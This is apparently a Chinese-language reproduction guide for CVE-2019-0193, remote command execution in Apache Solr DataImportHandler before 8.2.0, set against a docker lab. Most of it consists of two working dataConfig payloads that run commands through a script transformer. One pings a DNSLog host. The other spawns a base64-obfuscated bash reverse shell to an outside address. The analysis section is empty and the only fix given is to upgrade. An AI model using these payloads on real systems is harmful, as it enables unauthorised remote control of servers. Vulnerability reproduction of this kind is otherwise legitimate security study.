CVE-2019-0193(Solr DataImportHandler<8.2.0模块远程命令执行)
1. 漏洞描述
Apache Solr
的DataImportHandler
是一个可选但常用的模块,可从数据库、RSS、Web 页面和文件中导入数据。而且这个模块的配置文件不仅可以在服务端中通过配置文件指定,也可以从用户请求的dataConfig
中获取。
2. 影响版本
Apache Solr < 8.2.0
3. 漏洞复现
3.1 Core Admin模块
使用一个定义好的核心来实现功能:

由于靶场的问题,我们通过命令创建一个:
1
| docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
|

3.2 选择Dataimport功能并选择Debug


3.3 填入POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <dataConfig> <dataSource type="URLDataSource"/> <script><![CDATA[ function poc(){ java.lang.Runtime.getRuntime().exec("ping tmvp8l.ceye.io"); } ]]></script> <document> <entity name="stackoverflow" url="https://stackoverflow.com/feeds/tag/solr" processor="XPathEntityProcessor" forEach="/feed" transformer="script:poc" /> </document> </dataConfig>
|

3.4 DnsLog查看结果

3.5 反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <dataConfig> <dataSource type="URLDataSource"/> <script><![CDATA[ function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAV2L3RjcC84LjEzNi4yNDEu76AcdBjY2IDA+JjE=}|{base64,-d}|{bash,-i}"); } ]]></script> <document> <entity name="stackoverflow" url="https://stackoverflow.com/feeds/tag/solr" processor="XPathEntityProcessor" forEach="/feed" transformer="script:poc" /> </document> </dataConfig>
|
3.6 反弹Shell结果

4. 漏洞分析
…
5. 修复建议
把Solr版本升级到最新版